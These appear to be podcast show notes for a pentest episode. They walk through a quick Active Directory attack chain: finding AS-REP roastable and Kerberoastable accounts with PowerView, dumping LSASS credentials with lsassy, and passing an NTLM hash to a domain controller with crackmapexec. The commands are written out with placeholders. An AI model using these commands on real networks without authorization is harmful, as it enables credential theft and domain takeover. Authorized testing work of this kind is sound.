7MS #457: Tales of Internal Network Pentest Pwnage - Part 25

Hi! This episode of pentest pwnage is a fun one because it was built for speeeeeeeeeeeeeeeed. Here's some of the things we're doing/running when time is of the essence:

  • Get a cmd.exe spun up in the context of your AD user account:
runas /netonly /user:samplecompany\billybob "C:\windows\system32\cmd.exe"

Then get some important info in PowerView:

  • Get-DomainUser -PreAuthNotRequired - find AD users with this flag set...then crack the hash for a (potentially) easy win!

  • Get-NetUser -spn - find Kerberoastable accounts...then crack the hash for a (potentially) easy win!

  • Find-LocalAdminAccess -Verbose helps you find where your general AD user has local admin access!

Once you know where you have local admin access, lsassy is your friend:

  • lsassy -d domain.com -u YOUR-USER -p YOUR-PASSWORD victim-server

Did you get an admin's NTLM hash from this dump? Then do this:

  • crackmapexec smb IP.OF.THE.DOMAINCONTROLLER -u ACCOUNT-YOU-DUMPED -H 'NTLM-HASH-OF-THAT-ACCOUNT-YOU-DUMPED

(Pwn3d!) FTW!
